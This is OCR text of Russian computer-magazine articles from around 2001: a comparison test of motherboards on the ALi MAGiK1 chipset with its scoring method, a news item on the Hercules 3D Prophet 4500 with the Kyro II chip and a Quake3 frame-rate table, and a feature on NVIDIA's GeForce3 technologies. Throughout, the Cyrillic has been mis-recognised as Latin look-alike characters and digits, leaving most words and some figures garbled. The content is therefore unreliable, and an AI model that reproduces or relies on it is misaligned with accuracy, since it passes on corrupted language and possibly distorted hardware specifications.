KorAa-TO JleoHapAO Aa Bmhhm CAe/ia/i M3 CBMHua 
30 /ioto, a Asus M3 npocTbix hm nceTOB CAe/ia/i nep- 
BOoaccHbie n/iaTbi. Ilo KpanHen Mepe, noc/ieAHnn 
mmcJd Ka>KeTCii cennac cn/ibHO noAopBaHHbiM, no- 
CKO/ibKy to, hto b ashhom c/iynae Ae/iaeT Asus, 
MHane KaK n/ioxMM Ha3BaTb He/ib3/i. nepBOHana/ib- 
Hbm c6om b pa6oTe BIOS Mbi 6bi mot/im eiAe npo- 


CTMTb. fla>Ke TO, HTO npM MCnO/1 b30B3HMM PCI-C/10- 
tob 1 m 2 Windows 98 ocTaera b n/ieHy TeMHbix 
M3o6pa>KeHMM, noxo>KMx Ha pa6oTy b DOS, TO>Ke 
mo>kho 6bi/io 6bi cnucaTb Ha HeyAany. Ho to, hto 
npu ocBo6o>KAeHMM TaKoro PCI-c/iOTa npo6/ieMbi 
ocraiOTCfl, 3 to HaM y>Ke AencTBHTe/ibHO c/io>kho 
noH^Tb. TaKyio HeBOcn MTaHHOCTb A7A266 npo- 
abm j\ m noc/ie nepe3arpy3KM. TorAa y>Ke m caMbie 
/lyHwne pe3y/ibTaTbi npu TecTMpoBaHM m He mot/im 
cnacTM CMTyauMio. 

TeM He MeHee Tenepb Mbi 3HaeM a6co/noTHo toh- 
ho, KaK AO/i>KHa Bbim^AeTb coBepweHHafl n/iaTa c 
HMnceTOM ALiMagikl: Mbi xotmm bwcokhm ypoBeHb 
CTa6M^bHOCTM IwiLL KA 266, MOiAb MSI K7MG Pro m 
Asus A7A266 ... Hy m 8 nopTOB USB, nowa/iyMcra. 

■ ■ Ahtoh MoKpeAOB 


Bot TaK Chip TecTiipyeT MaTepHHCKne n/iaTbi 


y auieTOB BawHa tojibko nocTOBHHaB cwia 


B ashhom TecTe Mbi peiuM/iM eiue 6o/iee 
npMCTa/lbHO C(t)OKyCMpOBaTb CBOe BHHMa- 
HMe Ha KpMTepM HX, MMeiOlMMX A/1H MaTe- 
Pmhckmx n/iaT peujaioiuee 3HaHeHMe, a 
MMeHHO — np0M3B0AMTe/lbH0CTM M CTa- 
6n/lbHOCTM. ri03T0My Mbi npMHfl/lM 3TM nO- 
Ka3aTe/iM KaK 80% ot oOiuero HMC/ia 6a/i- 
/lOB, no 40 % COOTBeTCTBeHHO. npOHMe 
napaMeTpbi, TaKMe KaK ocHameHne m co- 
npoBOAMTe/ibHan AOKyMeHTaunfl, HaMn, 
pa3yMeeTCH, Towe He 6bi/in 3a6biTbi. Ohm 
OyAyT yHTeHbi npn BbmeceHMM OKOHna- 
Te/ibHoro peiueHMH c yneTOM 5-npoueHT- 
HOM 3HaHMM0CTM K3>KA0r0 M3 HMX. Haiue 
TecTOBoe oOopyAOBaHMe coctoh/io m3 
npoueccopa Athlon 1,2 rru b o6HOB/ieH- 
hom «C-BapMaHTe», rpacJ)MHecKOM KapTbi 
GeForce 2 Pro ot MSI, MOAy/ien naMHTM 
DDR oO-beMOM 256 M6anT m SDR ot 
(J)mpm Infineon n Samsung. 3/ieKTpocHa6- 
>neHMe o6ecneHMBa/iocb 300-BarmbiM 
6/iokom nMTaHMH ot Powerman, KOTopbin 
nO/lHOCTblO COOTBeTCTByeT TpeOOBaHMHM, 
npeAtfiB/iaeMbiM Athlon (14 A npM 3,3 B 
m 30 A npn 5 B). TecTbi npoBOAM/incb noA 
onepaunoHHOM cncTeMOM Windows 98 SE 
npn noAAepwKe DirectX 7a m HOBoro Ser- 
vice Pack 4.28 ot VIA. 

F 1 p 0 M 3 B 0 flMTejlbH 0 CTb 

B a3hhom KaTeropnn Ka>KAaa n/iaTa npoxo- 
A mt c/ieAyioiAne TecTOBbie ncnbiTaHna: 
Chip-Bench 32 (TecrnpyeT nponycKHyio 
cnocoOHOCTb CMCTeMbi), Q3A, 3Dmark2000 
(A/ifl nrpoBbix npn/io>KeHnn) m Sysmark 
2000 (MOAe/inpyeT paOoTy TnnnHHbix rpa- 
(t)MHecKnx n 0(})MCHbix npn/io>KeHMM). 


CTaSMJlbHOCTb/COBMeCTMMOCTb 

A/ih onpeAe/ieHMH CTaOn/ibHOCTH Mbi na- 
Ba/in Ha n/iaTbi MaKCMMa/ibHbie Harpy3KH. 
Ka>KAaH M3 n/iaT AO/i>KHa BbiAepwaTb Ha- 
rpy3Ky neTbipex KapT PCI-Busmaster, He 
noTepHB npn stom b CTaOn/ibHOCTM m Ka- 
necTBe M3o6pa>KeHMH. KoMn/ieKT KapT co- 
ctomt M3 KOHTpo/uiepa UltraDMA 100 ot 
Promise, ceTeBOM KapTbi 10/100 M6mt/c 
ot 3com, TV-KapTbi ot Terratec n 3ByK0- 
bom KapTbi SB PCI 128 ot Creative. Te Ma- 
TepnHCKne n/iaTbi, KOTopbie cmomm Kop- 
peKTHO BOCnpMHHTb BCe KOMnOHeHTbl, 
AO/i>KHbi 6bi/in BbiAep>KaTb nac paOoTbi b 
3Dmark 2000 m Q3A. Te M3 hmx, KOTopbie 
CMor/in npoMTM stm ncnbiTaHnn, no/iynn/in 
MaKCMMa/ibHoe KO/innecTBO 6a/i/iOB. 

KanecTBO 

Ec/im b pa3Ae/ie « 0 CHaiAeHne» ochobhom 
ynop CAe/iaH Ha KO/innecTBO pa3H006pa3- 
Hbix yc/iyr, to aaanv\3 KanecTBa AO/i>neH no- 
Ka3biBaTb, HacKO/ibKO HeTKO 6bma npoAyMa- 
Ha mx pea/iM3auMH. Hto To/iKy ot pa3"beM0B 
Ann Ky/iepa npoueccopa, ec/in ohm pacno/io- 
>neHbi Ha TaKOM paccTOHHnn, hto ao hmx He 
AOTHHeTCH hm oam h n3 Ka6e/ieFi? He 3a6bmn 
/in npoM3BOAMTe/in npo uBeTHyio ATX-koam- 
poBKy nopTOB? TaK>ne b pacneT 6pa/iocb xo- 
powee ox/ia>KAeHne CMCTeMbi (Ha/innne Ky- 
/iepa p,n5\ nnnceTa), hto hb/ihotch 
HeMa/iOBa>KHbiM p,nn paOoTbi oOopyAOBaHnn. 

OcHameHMe 

OyHKunoHa/ibHoe pa3H006pa3ne MaTepnH- 
ckmx n/iaT BapbnpyeTca ot Ha/iMHMH ayAno 
AO KOHTPO/1H HaA paOOTOM CMCTeMbi. Ba/l/lbl 


npncy>KAa/iMCb 3a KO/innecTBO c/iotob, 
pa3-beM0B f\j ih BeHTn/iHTopa, Ha/innne nop- 
Ta IRDA/in6o cbyHKunn Wake-On. rio/ie3- 
Hbie Aono/iHMTe/ibHbie anceccyapbi TaK>ne 
noBbima/iM oOiuyio oueHKy. CTaHAapTHbiM 
(byHKUMHM B BIOS, T3KMM KaK aBTOMaTMHe- 
CKoe pacno3HaBaHne naMHTn SPD, Mbi He 
npnAaBa/in peiuaioiAero 3HaneHnH. 

B 03 M 0 WH 0 CTb pa 3 roHa 

Bo3mo>kho /im Ha n/iaTe M3MeHMTb nacTOTy 
FSB, K03c|)ct)MuneHT yMHO/KeHnn n/in Hanpa- 
>neHne nnTaHnn CPU (CPU VCore) n Ha- 
CKO/ibKO yAoOHO 3 to ocyiAecTBMTb Ha npaK- 
TMKe? KpoMe 3Toro, Mbi nooiApneM 
XOpOLUMMM OlieHKaMH n/iaTbl, Ha KOTOpbIX 
ecTb MecTO A-n^ 6o/ibiuoro paAnaTopa c Ky- 
ziepoM. 

ConpoBOAHTeiibHaB 

AOKyMeHTaitMB/CepBHC 

riepBan o6fl3aHHOCTb npon3BOAHTe/iH — 
neTKO o6o3HanaTb pa3-beMbi m kohhokto- 
pbi f\j in noACoeAMHeHMH nnTaHMH n t. a- 
Ec/im hmhto y>ne He noMoraeT, to c/ieAyeT 
oOpaTMTbCH k MHCTpyKunn, noaTOMy m k 
conpoBOAMTe/ibHon AOKyMeHTaunn npeA"b- 
HB/iH/incb CTporne TpeOoBaHMH. OHa oue- 
HMBa/iacb KaK xopoiuan, ec/in abb a/ia neT- 
Koe onncaHne MHCTa/i/iHunn ycTponcTB, 
noAK/HOHeHMH nnTaHMH n cbomctb BIOS. 

B KanecTBe cepBnca Mbi oueHMBa/in Kane- 
ctbo yAa/ieHHon TexHnnecKOM noAABp>KKM 
B MHTepHeTe C B03M0>KH0CTblO 06 H 0 B/ie- 
HMH BIOS M Ha/lMHneM MHCTpyKUMM 
(b c^opMaTe PDF). 
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HoBafl Kapia 3D Prophet 45 00 

y Hercules 



OTKpbiBaeTCfl BTopoe flbixaHMe 

Bbi, KOHeHHO, y)Ke c/ibiwa/iu o ciaHflapie rpacjDMHecKux KapT Hercules, cymecTBOBaBweM eme 
AO daHAapTOB VGA u/iu EGA. Ceunac, noc/ie He caMbix jiynwux A-nfl Hero /ieT, Hercules HaHMHaeT 
B03po>KAaTbCfl, neMy cnoco6cTByeT h a6co/uoTHafl hobmhk 3 — rpacjDHHecKan KapTa 3D Prophet 4500. 


KyAa «noAa/icn» Hercules? 

3a 6bi CTpbiM poctom o6opoia KOMnaHMM Hercules 
ctomt ee HanpaB^eHHOCTb Ha KOMnbicrrepHbix nrpo- 
KOB. B03M0>KH0, MMeHHO 3TO M ABM/lOCb npMHMHOM 
toto, hto b Hoa6pe 1999 rofla cfiHpMy Hercules Ky- 
nn/ia cf)paHuy3CKafl KOMnaHMM Guillemont 
Corporation. 3a HecKO/ibKO MecaueB flo 3Toro OHa 
B3fl/ia nofl CBoe Kpbi/io eme OflHy KOMnaHmo nrp, 
npno6peT3 cfiMpMy Thrustmaster. 

Hercules Hana/i npoM3BOflmb rpacfiHHecKHe KapTbi 
c HMnaMi/i ot KOMnaHMM NVIDIA, hto OKa3a/iocb npa- 
BM/ibHOM CTpaTernen. KpoMe 3Toro, Hercules npon3- 
BOflMT eme m 3ByKOBoe o6opyflOBaHMe — MP3-nponr- 
pbiBaie^b m Game Theater XP. noc/ieflHMM npeflciaB- 
/meT co 6 om 3ByKOByio Kapiy c fleKOflepoM Dolby 
Digital m BHeiuHen naHe/ibio, ocHameHHon MHo>KecT- 
BOM BXOflOB M BbIXOflOB. 

Hoeoe napTHepcTBO 

B paMKax pacujMpeHM^ npeA/iaraeMoro accopTM- 
MeHTa rpacfiMHecKMx KapT cjDnpMa Hercules 3 amno- 
HM/ia ToproBoe napTHepcTBO c KOMnaHnen 
STMicroelectronics. flaHHbin floroBop 3 aK/iiOHaeTCfl 
B TOM, HTO Hercules 6 yfleT MMeTb 3 KCK/H 03 MBH 0 e 
npaBO Ha npoflyKUMio rpacfiMHecKMx KapT c HOBbiMM 
HMnaMM ot STMicroelectronics b TeneHMe Tpex Me- 
cnu,eB co aha mx Bbixofla. 

STMicroelectronics He AB/meToi ayTcaiiflepoM b 
06/iacTH npoM3BOflCTBa HMnoB. B npow/iOM rofly, 

MMeii o6opoT $7,81 M/ipA, OHa 3aHB/ia ceflbMoe MecTO 
epeflM npOM3BOflMTe^eM. B npOM3BOACTBeHHOM npo- 
rpaMMe cpMpMbi Bbi HaMfleTe He mnbKO HMnbi p,nn 
KOMnblOTepOB, HO M A/lfl 6blTOBOM 3/ieKTpOHMKM, aB- 
T0M06n/lbH0M TeXHMKM M M06n/lbHblX Te/iec|DOHOB. 

OcoSeHHOCTM Kyro II 

9-ro MapTa 3Toro roAa cpMpMbi STMicroelectronics m 
Hercules npeACTaBM/in nepBbin n/iOA CBoero co- 
TpyAHMHecTBa — rpac|DMHecKyio KapTy 3D Prophet 
4500 c HMnoM Kyro II. 

Bo3mo>kho, Bbi y>Ke c/ibiwa/iM o HMne Kyro, koto- 
pbiii OAHaKO He no.nb30Ba.ncfl 6o/ibWHM ycnexoM. 


HaMHoro 6o/ibwe maHCOB MMeeT HOBbin Kyro II. 
Ero ochobom AB/meTCfl TexHO/iornfl TBR (Tile Based 
Rendering), KOTopafl cnoco6cTByeT 6o/iee 3Cpc|3eKTMB- 
HOMy peHAepMHry H3o6pa>KeHHfl b cpaBHeHMM c miac- 
CMHecKMMM aKce/iepaTopaMM. 

B HeM >Ke COCTOMT pa3/lMHMe? 06blHHblM COBpe- 
MeHHbm aKce/iepaTop (HanpMMep, GeForce 2) Bbi- 
Hnc/meT cueHy TaKMM o6pa30M, hto C03AaeT npoBO- 
ziOHHyio «Tpeyro/ibHyio» MOAe/ib, a noTOM 6epeT 
oamh Tpeyro^bHMK 3a ApyrMM, TeKcrypnpyeT ero, oc- 
BeT/iiieT m pacK^aAbmaeT Ha nMKce/in. OAHOBpeMeH- 
ho b Z-6yc|)c|Dep 3anncbiBaeTCfl MHcJ)opMauHfl o my- 
6me nnKce/ifl, KOTopafl onpeAe/ifleT 6yAeT /in oh 
BHAeH, m/im ero nepeKpoeT Apyron. To/ibKO Te nm- 
ce/in, KOTopbie bmahw, nepeMemaiOTCfl bo cfipeMM 
6yc|Depa. IIotom npnxoAMT onepeAb Apyroro Tpey- 
ro^bHMKa, KOTopbin CHOBa TeKCTypnpyeTCfl m Bbipn- 
coBbiBaeTC^ nnKce/ib 3a nnKce/ieM. KorAa 3ano/iHe- 
Ha bca cueHa, Tpeyro/ibHMKM B33MMHO nepeKpbiBa- 
lOTCfl. 3to 3H3HMT, hto MHorne nHKce/in M3 Tpey- 
ro/ibHMKOB, KOTopbie 6bmn crapaTe/ibHO TeKcrypn- 
poBaHbi, Tenepb 6yAyT nepenncaHbi. 3Aecb npoflB- 
jifliOTCfl onpeAe/ieHHbie orpaHnneHMA, npnneM Han- 
6o/iee Bbipa3MTe/ibHbiM AB/meTCA nponycKHafl cno- 
C06H0CTb naMflTM. 

Kyro II c TexHO/iorneM TBR ocymecTB/ifleT 3 tot 
npouecc MHane. CHana/ia, npaBAa, TaK>Ke C03AaeTCA 
npoBO/ioHHafl MOAe/ib, OAHaKO OHa pa3Ae/ieHa Ha 
TaK Ha3biBaeMbie «n/iMTKM». IIotom p,nn Ka>KAon 
«n/iMTKM» nnKce^b 3a nnKce^eM BbiHHC/ifleTCfl Bee, 
hto ao/dkho 6biTb b HTore Ha 3KpaHe. To^bKO noc/ie 
3Toro nponcxoAMT TeKCTypnpoBaHne, pa3yMeeTC5i, 
to/ 1 bKO bmammnx nMKce^en. 3 tmm AOCTnraeTC^i 3Ha- 
HMTe/ibHoe CHM>KeHMe 3arpy3KM coeAMHMTe/ibHon 
LUHHbi Me>KAy rpacjDMHecKMM HMnoM m naM^Tbio. ripn 
OAMHaKOBbIX pa3pemeHMM M npOM3BOAMTe/lbHOCTM 
noTOK AaHHbix Me>KAy nnnoM n naM^Tbio y Kyro co- 
craB/meT npnMepHO TpeTb b cpaBHeHMM c ApyrnMH 
aKce^epaTopaMn, ncno^bayioiAHMH Hbme cymecTBy- 
\ou\m cnoco6 3ano^HeHM^i cueHbi. 

Kyro II Ta K>Ke noAAep>KMBaeT Environmental m 
Dot3 Bump Mapping. BHyTpeHHnn pncyHOK npo- 


CHMTbiBaeTC^ b 32-6mthom na^MTpe, ho BHemHMM 
cjDpeMM-6yc|Dep — mnbKO b 16-6mthom, nosTOMy 
paccMaTpHBaeTca peiueHne, aHa^ornnHoe ncno^b- 
30BaHH0My b 3dfx c nnnoM VSA-100, — CHOBa chm- 
>KaiOTC5i Tpe6oBaHM5i k nponycKHon cnoco6HOCTM 
him Hbi naM^TM, npn stom KanecTBO M3o6pa>KeHM5i 
oneHb 6^M3KO k 32-6nTHOMy. 

nepean napra c Kyro II 

riepBOM KapTOM c Kyro II 6yAeT, TaKMM o6pa30M, 
Hercules 3D Prophet 4500. KapTa C0Aep>KUT 
64 M6anT naMiiTM SDRAM, KOTopafl, npaBAa, He aoctm- 
raeT npoH3BOAMTe/ibHOCTn naM^n DDR, ho 6^aroAa- 
pa TBR aB/iaeTca AOCTaTOHHOM. Hnn npon3BOAHTCfl 
no 0,18-MMKpOHHOM TeXHO/lOrMM M COAep>KHT 15 M/1H 
TpaH3MCTopoB. llaM^Tb pa6oTaeT Ha nacTOTe 175 MTa. 
3to, npaBAa, HeMHoro c^a6ee, neM RAMDAC-KapTbi, — 
270 MTu. 1/lHTepecHa n ueHa KapTbi — $150. Hercules 
He npec/ieAyeT u,enb KOHKypnpoBaTb c Han6o/iee npo- 
M3BOAMTe/lbHblMM KapTaMM OT NDIVIA, HO 
hto penb MAeT o Han6o^ee 6bicTpon KapTe c naM^Tbio 
SDRAM. 

OAeHKM npOM3BOAMTe/lbHOCTM m cpaBHeHMM c 
ApyrMMM KapTaMM c^eAyeT noAO>KAaTb Haiunx tcctob 
(npn 6^aronpM5iTHOM CTeneHnn o6cT05iTe^bCTB, B03- 
mo>kho, 3to 6yAeT y>Ke b c^eAyiomeM HOMepe), OAHa- 
KO Ha 0CH0B3HMM nepBblX «6blCTpblX» TeCTOB, KOTo- 
pbie Mbi MMe/in B03M0>KH0CTb npoBecTH, OHa noKa3a- 
na xopoiune pe3y/ibraTbi. HaAeiocb, hto CKopo Mbi 6y- 
AeM npn^THO yAMB^eHbi. 

Ahtoh MoKpemoB 


Pa3pemeHne 

np0M3B0AHTe/lbH0CTb [fps] 

640x480 

96,6 

800x600 

92,7 

1024x768 

77,6 

1280x1024 

51,7 

1600x1200 

34,8 


Quake3 Arena Demol (32-6MTHbm LiBeT, Bbiccmoe Kane- 
ctbo, MaKCMMa/ibHbie TeKCTypbi, Tpn/inHeMHaB (J>n/ibTpa- 
pnyi) — «6bicTpbie» TecTbi npoBefleHbi Ha KOMnbtOTepe 
Pentium III 1 ITp, MaTepHHCKan n^aia Asus CUSL2 c 
HunceTOM Intel i815, 128 M6afiT onepaTMBHofi naMBTM 
SDRAM 133 Mfp 
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HARDWARE HOBbie TexHO/iorMM 



GeForce ot Nvidia 

SbiCTpee caMoro 


6ucTporo? 

CaH Xoce, Ka/inc|DopHi<ifl, 27 4>eBpa/i5i 2001 rofla. 


n pow/io Bcero naib flHen c Toro BpeMem/i, KaK 
cocTOfl/iacb npe3eHTaun^ HOBoro BMfleoycKO- 
pme/m fl/ifl n^aic|DopMbi Macintosh, m KOMnaHMA 
NVIDIA Corporation aHOHcnpyeT GeForce3TM GPU 
(rpacJinnecKHM npofleccop) y>Ke pj\n PC-n^aTcjDop- 
Mbi. GeForce3 GPU 6a3npyeTCfl Ha paflMKa/ibHO ho- 
bom rpacfiMHecKOM apxMTeKType n TeM caMbiM flaei 
noBOfl AyMaTb, hto no/ib30Baie.nen KOMnbioiepoB 
>KAeT OHepeflHOM npopbiB b rpacfiMHecKOM ocfiopM- 
ZieHMM Tex MJ1M MHbIX npM/10)KeHMM. 

Tax /in 3 to, noKa>KeT Ham Ted, a noKa npefl/iara- 
eM no6/in>Ke no3HaKOMMTbCfl c flaHHbiM npoflyKTOM. 


HeM >ne MO>KeT noxBaciaTb KOMnaHMa, BbinycKaa 
OHepeflHOM rpac|DMHecKMM npoueccop M3 cepnM 
GeForce? B nepByio onepeflb OHa o6paiflaei bhmm 3- 
HMe Ha Tpn TexHMHecKMe hobmhkm: nfiniteFX 
Engine, Lightspeed Memory Architecture (LMA) m 
anti-aliasing Bbicoxoro pa3peweHMfl (H RAA). Pac- 
cmotpmm noflpo6Hee Kawflyio M3 3 tmx TexHO/iomn. 

nfiniteFX: OyAyutee KOMnbiOTepHOM 
rpac^HKH 

E/iaroflapa GeForce3 m ero nfiniteFX Engine KOMna- 
hma NVIDIA npeflcraB/miOT nepBbiM b Mnpe nporpaM- 
MMpyeMbm 3D-rpac|DMHecKMM nun. ConeTafl nporpaM- 


MMpyeMOCTb BepniMHHbix m nMKce^bHbix meiiflepoB 
(vertex m pixel shaders), «abm>kok» nfiniteFX no3BO- 
/meT C03flaBaTb HeBMflaHHbm ao cmx nop ypoBeHb 
pea/iM3Ma rpacfiMKM Ha PC. TeKcrypbi c|DOTopea/inc- 
TMHHbi, nepcoHa>KM o6/iaflaiOT mmmmkom. nfiniteFX 
npaKTMHecKM flaei CBo6ofly pa3pa6oTHMKaM npn/io- 
>KeHMM m nrp b co3flaHMM noHTM HeorpaHMHeHHoro 
KO/lMHeCTBa CneflMa^bHblX BMpTya/lbHblX 3CjDC|DeKTOB, 
KOTopbie caMM no ce6e C03flai0T c/ieflyiOLflyio cry- 
neHbKy b pa3BMTMM rpa^nnecKoro ocjDopM/ieHMfl. 

BepuiMHHbie uieMAepbi (Vertex Shader) 

riporpaMMMpyeMbie BepmMHHbie wenflepbi no 3 BO/m- » 
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» tOT paccHMTbiBaib BM3ya/ibHbie 3cf)c|3eKTbi c 6e3rpa- 
HMHHOM na/lMTpOM B pea^bHOM BpeMeHM. OOteKThl B 
3D-cueHe onMcaHbi ripn noMOLAM Tpeyro/ibHMKOB, 
Ka>Kflbm M3 KOTopbix noBepHyT nofl TeM m/im mhwm 
ymOM KTOM M/IM MHOM OCM KOOpflMHaT. BepWMHHblM 
meMflep — 3to rpacjDMHecKa^ cfiyHKAMfl, KOTopaa 
npMnMCbiBaeT cneuMa/ibHbie 3c|Dc|DeKTbi o6-beKTaM b 
TpexMepHOM npocrpaHCTBe c noMoiAbio MaieMaTMHe- 
ckmx onepauMM Hafl ashhumm BepniMH o6-beKTa. 
Kawflaa BepmMHa MO>KeT 6biTb 3aflaHa MHo>KecTBOM 
pa3/iMHHbix nepeMeHHbix. HanpMMep, BepmMHa Bce- 
rfla 3aflaeTC5i ee no/ioweHMeM b TpexMepHOM npocr- 
paHCTBe, Mcno/ib3yfl TpM KOopflMHaTbi: no ocm X, Y m 
Z. TpaHM Ta K>Ke MoryT 6biTb 3aflaHbi abctom, TeKcry- 
paMM M CBeTOBbIMM XapaKTepMCTMKaMM. BepiUMHHbie 
meMAepbi Ha caMOM Ae/ie He M3MeHmoT TMn AaHHbix 
— OHM npOCTO M3MeHfllOT 3HaHeHMfl ASHHblX, TO eCTb 
BepmMHa no/iynaeT ApyroM abct, ApyrMe TeKcrypbi 
m/im Apyroe no/ioweHMe b npocrpaHCTBe bo BpeMA 
o6pa6oTKM meMAepa. Tenepb 6/iaroAapfl BepiUMHHbIM 
meMAepaM pa3pa6oTHMKM MoryT «BAOXHyTb >KM3Hb» m 
npMAaTb xapaiaepMCTMHecKMe oco6eHHocTM BceM mt- 
poBbiM nepcoHawaM m co3AaBaTb AeMCTBMTe/ibHo pe- 
a/iMCTMHHyio CKe/ieTHyio aHMMauMio (Mcno/ib3yeTCfl 
AO 32 pe6ep Ha mapHMp-BepiuMHy meMAepa). 

IlMKce/ibHbie lueMflepbi (Pixel Shader) 

IlMKce^bHbie meMAepbi — sto rpac|)MHecKan cfiyHKAMfl, 
KOTopaa paccHMTbiBaeT3cj)c|DeKTbi Ha nonMKce/ibHOM 
OCHOBe. B 33BMCMMOCTM OT Heo6xOAMMOCTM CO- 
CTaB/ieHMn KOHeHHoro M3o6pa>KeHMn CBbiiue Aayx 
MM/uiMOHOB nMKce/iePi MoryT HywAaTbcn b o6pa6oTKe: 
ocBeTnriTbcn, 3aTeHATbCfl m/im we MeHATb ubct b Kaw- 
AOM cfipeMMe, m Tax ao 60 pa3 b cexyHAy. HeTpyAHO 
noHATb, KaK 3Ta pa6oTa 3arpy3MT npoueccop. 

GeForce3 /ien<o cnpaBMTca c TaKoPi pa6oTOM c noMO- 
LAbio nMKce/ibHbix meMAepoB m BbiAacT Ha 3KpaH 6biCT- 
pbiPi m BbicoKOKanecTBeHHbiM BMAeop^A- riporpaMMM- 
pyeMbie nMKce/ibHbie meMAepbi o6ecneHMBaiOT pa3pa- 
6othmkob 6ecnpeueAeHTHbiM KOHTpo/ieM HaA onpeAe- 
zieHMeM ocBeiAeHMn, 3aTeHeHMA m 33AaHMeM ABeTa p,nn 
KawAoro MHAMBMAya/ibHoro nMKce/m, no3BO/i/m mm co- 
3AaBaTb HeorpaHMHeHHO KO/iMHecTBO yHMKa/ibHbix sc|> 
cjDeKTOB noBepxHOCTM. llporpaMMMpyeMOCTb TaKwe Aa- 
eT pa3pa6oTHMKaM rM6KOCTb b co3A3hmm cbomx co6ct- 

BeHHblX MeTOAOB 3aTeHeHMi1 oGteKTOB. n^lOC K 3TOMy 

«Abm>kok» nfiniteFX ot NVIDIA M3-3a CBoePi cnoco6- 
hoctm KOM6MHMpoBaTb cpa3y ao neTbipex Texcryp 3 a 
oamh npoxoA (TorAa KaK npeAbiAyiAne MOAe/iM rpacjDM- 
necKMx npoueccopoB pa6oTa/iM MaKCMMyM c AsyM/i 
TeKcrypaMM 3 a npoxoA, Aa m coBpeMeHHbie Mrpbi mc- 
no/ib3yiOT Ty we TexHO/iomio) no3BO/meT co3AaBaTb 
HeBMAaHHbiM ypoBeHb nMKce/iM3ai4MM Ha n/iaTc|DopMax 
A/m o6biHHbix no/ib30BaTe/iePi. 

Lightspeed Memory Architecture 

flo HeAaBHero BpeMeHM pa3pa6oTHMKM yBepeHHO npo- 
ABMra/iMCb By/iynmeHMM KanecTBa 3D-rpac|)MKM pea/ib- 
Horo BpeMeHM, ho Bee we cyiAecTBOBa/ia OAHa M3 
cfiyHAaMeHTajibHbix npo6/ieM b pea/iM3auMM MHTepaK- 
TMBHOCTM 3D-KOMnOHeHTOB: nOBblUJeHMe npOM3BOAM- 



Te/ibHOCTM orpaHMHMBa/iocb naMATbio BMAeoKapTbi. 
riaM^Tb M rpac|DMHeCKMe B03M0WH0CTM OCTaiOTCfl KpM- 
TMHecKMMM cfiaKTopaMM. GeForce3 Mcno/ib3yeT MHTe- 
pecHbie peweHMfl b rpacj/MnecKOM apxMTeKiype, koto- 
pbie 3HaHMTe/ibH0 noBbimatOT acficjDeKTMBHocTb GPU 
npM pa6oTe c naM^Tbio m rpacfiMHecKOM ujmhom. Iloc^e 
npe3eHTauMM rpacfiMHecKoro HMna GeForce 256 6o^b- 
man nacTb BbiHMC/iMTe/ibHbix rpacfiMHecKMx npoueccoB 
6bma nepeHeceHa c CPU Ha GPU, hto nBM^ocb mi lone- 
bwm cjDaKTopoM npM nepexoAe c cotch no/iMroHOB 3 a 
cfipeMM Ha TbicnHM. ripeACTaB/iflfl KOMn/ieKCHyio reoMe- 
TpMfO KaK BbICOKOTOHHyK) nOBepXHOCTb, onMcaHHyio 
MaTeMaTMHeCKMMM c|)yHKAM51MM M BbinO^Hnn BblHMC/ie- 
HMn noBepxHOCTM no/iHOCTbio b GPU, GeForce3 MOweT 
M36eraTb nepeAaHM orpoMHoro KO/iMHecTBa Heo6pa- 
6oTaHHbix AaHHbix nepe3 lUMHy AGP, rapaHTMpyn TeM 


caMbiM 3c|Dc|DeKTMBHyK) m 6biCTpyio CBn3b MewAy KOM- 
nbtOTepoM m GPU, hto b cboio onepeAb no^owMTe^bHO 
noB/iMiieT Ha KanecTBO rpac|3MKM. 3HaHMTe-nbHoe yBe- 
ZlMHeHMe 3CjDC|DeKTMBHOCTM CBA3M MeWAy KOMnblOTepOM 
m rpacj)MKOM npMBeAeT KTOMy, hto pa3pa6oTHMKM cmo- 
ryT noAHflTb reoMeTpMHecKyio m BM3ya-nbHyto Hacbi- 
lAeHHOCTM CBOMX «MMpOB» Ha HOBbIM ypoBeHb, eAMH- 
CTBeHHblM «T0pM030M» KOTOpOTO MOWeT CTaTb TO^bKO 
CKOpOCTb AGP-UJMHbl. 

High-Resolution Anti-aliasing (HRAA) 

TpacjDMHecKMM npoueccop GeForce3 ot NVIDIA npeA- 
CTaB^neT HOByio TexHo^orMio, pa3pa6oTaHHyio pj\n 
cmawMBaHMn c bwcokmm pa3peiueHMeM (HRAA). Fla 
AaHHbiM MOMeHT TO/ibKO GeForce3 MOweT npeA-nowMTb 
coneTaHMe BbicoKoro pa3peiueHMn m BbicoKoro frame- 
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» rate b kom 6 mh 3 umm c BbicoKOKanecTBeHHbiM cma>KM- 
BaHMeM. OflHa M 3 x/noneBbix npo6/ieM xanecTBa xap- 
tmhkm, KOTopbie 6ecnoKOflT no/ib 30 BaTe/ieM PC, — 3 $- 
cfieKT cma>KMBaHM^ mjim jaggies. 3 tot a^exT pea/iM- 
3 yeTca b BMfle «CTyneHeK» Ha xpaax 06156x106. Eamh- 
CTBeHHbm nyTb pj\t\ 6opb6bi co «nyneHHaTOCTbX)» 3 c|d- 
cfieKTa cma>KMBaHM5i — co3flaBaib a^exT 6o/ibwero 
KO/iMHecTBa nuxce/ieM Ha axpaHe. l/lcropMHecxM c/io- 
>KM/iocb, hto yBe/iMHeHMe pa 3 peiueHM 5 i AB/m/iocb pe- 
nieHMeM flaHHOM npo6/ieMbi. ripn 3 tom pa 3 Mep jaggy c 
ero 3 c|DcjDeKTOM «cryneHbKM» HMKorfla He 6bi/i 60/ibiue, 
neM cJiaKTHHecKHM pa 3 Mep nMxce/m. C/ieAOBaTe/ibHo, 
yMeHbiuafl pa 3 Mep nMxce/m, yMeHbwaeTCfl m MaciuTa6 
3 tmx HepoBHocTen, ho TeM He MeHee M 3 MeHeHne pa 3 - 
peiueHM^ He BcerAa Bbino/iHMMO (BeAb, bo 3 mo>kho, 
no/ib 30 BaTe/iby>xe Mcno/ib 3 yeT MaxcMMa/ibHoe pa 3 pe- 
meHMe, Ha KOTopoe cnoco6Hbi mohmtop m/im BMAeo- 
xapia). l/l 3 - 3 a TaxMx orpaHMHeHMM eAMHCTBeHHbiM pe- 
LLieHMeM AO/DKHO CTaTb yBe/lMHeHMe 3 CjDC|DeKTMBHOrO 
pa 3 peweHMfl. HaM/iynuiMM nyTb, HTo6bi Ao6nTbCfl 3 to- 
ro, — Mcno^b 30 BaTb 60/iee «yMHyx)» TexHMxy A/ifl 06- 
pa6oTKM UBeia b xa>XAOM nMxce/ie axpaHa, hto mmmtm- 
poBa/io 6bi 6o/ibiuee xo/iMHecTBO nMxce/ieM. Ha cueHy 
bwxoaht T exHMKa cynepc 3 Mn/iMHra, xoTopa/i AB/meTC/i 
TexHMKoPi cma>KMBaHMii, npMMeHiieMOM b NVIDIA's 
GeForce 2 GPU m Apyrnx coBpeMeHHbix rpac|DMHecKMx 
